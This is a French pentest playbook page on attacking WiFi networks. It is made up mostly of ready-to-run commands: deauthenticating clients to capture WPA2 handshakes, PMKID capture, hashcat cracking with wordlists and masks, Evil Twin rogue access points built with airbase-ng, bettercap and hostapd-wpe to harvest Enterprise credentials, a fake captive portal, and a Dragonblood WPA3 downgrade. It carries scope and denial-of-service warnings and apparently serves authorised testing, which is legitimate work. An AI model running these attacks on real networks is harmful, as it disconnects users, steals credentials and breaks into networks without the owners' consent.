MDstable
NoteSnippetChecklistPlaybook

Attaques WiFi — WPA2, PMKID, Evil Twin

Capturer des handshakes WPA2, attaque PMKID, Evil Twin, WPA Enterprise — aircrack-ng & hashcat

playbookintermediate 2025-05-14 4 min read
wifiwpa2wpa3pmkidevil-twinaircrackhashcatwirelesspentest

Mise en place mode monitor

bash
Variables
{{CHANNEL}}
# Tuer les processus qui interfèrent (NetworkManager, wpa_supplicant)
airmon-ng check kill
# Créer l'interface monitor
airmon-ng start wlan0
# Vérifier le mode monitor
iwconfig wlan0mon
# Changer de canal
iw dev wlan0mon set channel {{CHANNEL}}

Reconnaissance WiFi

bash
Variables
{{CHANNEL}}
{{BSSID}}
# Scanner tous les réseaux visibles
airodump-ng wlan0mon
# Cibler un AP spécifique (écrire dans capture-01.cap)
airodump-ng -c {{CHANNEL}} --bssid {{BSSID}} -w capture wlan0mon

Colonnes importantes dans airodump-ng :

| Colonne | Description | |---------|-------------| | BSSID | MAC de l'AP | | PWR | Force du signal (plus négatif = plus faible) | | Beacons | Trames de balise émises | | Data | Paquets de données capturés | | CH | Canal | | ENC | Chiffrement (OPN, WEP, WPA, WPA2) | | CIPHER | CCMP, TKIP | | AUTH | PSK, MGT (Enterprise) | | ESSID | Nom du réseau |

Capture handshake WPA2 (4-way handshake)

bash
Variables
{{CHANNEL}}
{{BSSID}}
{{CLIENT_MAC}}
# Lancer la capture en ciblant l'AP
airodump-ng -c {{CHANNEL}} --bssid {{BSSID}} -w handshake wlan0mon
# Dans un autre terminal : forcer une déauthentification pour capturer la reconnexion
aireplay-ng -0 5 -a {{BSSID}} -c {{CLIENT_MAC}} wlan0mon
# Vérifier que le handshake est présent dans le fichier
aircrack-ng handshake-01.cap

Le handshake s'affiche en haut à droite dans airodump-ng : WPA handshake: {{BSSID}}

PMKID Attack (sans client connecté)

bash
# Capturer le PMKID directement depuis l'AP (pas besoin de client)
hcxdumptool -i wlan0mon -o capturepcapng --enable_status=3
# Convertir au format hashcat 22000
hcxpcapngtool -o hashhc22000 capturepcapng
# Cracker le hash
hashcat -m 22000 hashhc22000 /usr/share/wordlists/rockyou.txt

Le PMKID est dérivé de : PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || STA_MAC) — pas besoin qu'un client soit connecté, l'AP diffuse l'information.

Cracking avec hashcat

bash
# Convertir le cap en format hc22000 (remplace hccapx)
hcxpcapngtool -o hashhc22000 handshake-01.cap
# Attaque dictionnaire
hashcat -m 22000 hashhc22000 /usr/share/wordlists/rockyou.txt
# Attaque avec règles
hashcat -m 22000 hashhc22000 wordlisttxt -r /usr/share/hashcat/rules/best64.rule
# Bruteforce masque — 8 chiffres (box opérateur)
hashcat -m 22000 hashhc22000 -a 3 dddddddd
# Masque alphanumérique 8 chars
hashcat -m 22000 hashhc22000 -a 3 aaaaaaaa
# Reprendre une session interrompue
hashcat -m 22000 hashhc22000 wordlisttxt --session wifi --restore

Evil Twin (AP rogue)

bash
Variables
{{SSID}}
{{CHANNEL}}
{{BSSID}}
# Créer un AP clone avec même ESSID
airbase-ng -e "{{SSID}}" -c {{CHANNEL}} wlan0mon
# Déauthentifier les clients de l'AP légitime (les forcer vers le rogue AP)
aireplay-ng -0 0 -a {{BSSID}} wlan0mon
# Avec bettercap (plus complet)
bettercap -iface wlan0
# Dans bettercap :
wifirecon on
wifideauth {{BSSID}}
# hostapd-wpe — capture credentials WPA Enterprise (EAP-PEAP, EAP-TTLS)
# Modifier /etc/hostapd-wpe/hostapd-wpe.conf : ssid={{SSID}}, channel={{CHANNEL}}
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Les credentials MSCHAPv2 apparaissent dans le terminal
# → cracker avec asleap ou hashcat -m 5500

Portail captif pour Evil Twin : combiner avec dnsmasq + serveur web Python pour intercepter les credentials saisis sur une fausse page de connexion.

WPA3 — Dragonblood (CVE-2019-9494)

bash
Variables
{{BSSID}}
# Vérifier si le réseau est en mode transition WPA2/WPA3
airodump-ng wlan0mon | grep -E "WPA2|WPA3|SAE"
# Downgrade vers WPA2 si transition mode activé
# → forcer la reconnexion avec un AP WPA2 (même SSID) : le client accepte WPA2
# Side-channel timing attack sur SAE handshake
# Outil dragonslayer (PoC Mathy Vanhoef)
git clone https//github.com/vanhoefm/dragonslayer
python3 dragonslayer/dragonslayer.py -i wlan0mon -b {{BSSID}}
⚠ Attention — La déauthentification (802.11 DeAuth) est une attaque DoS — elle déconnecte TOUS les utilisateurs de l'AP cible. Limiter le nombre de paquets (-0 5) et coordonner avec le client pour éviter les interruptions de service.
Checklist WiFi Pentest0/7
💡 Tip —

Toujours vérifier le scope avant tout test WiFi — certains clients excluent explicitement les tests sans fil. Pour maximiser les chances de capture du handshake, positionner l'antenne entre le client et l'AP légitime et utiliser un adaptateur WiFi avec support de l'injection de paquets (Alfa AWUS036ACH, AWUS1900).

OPS·BRAIN v1.075 notes · Securitylocal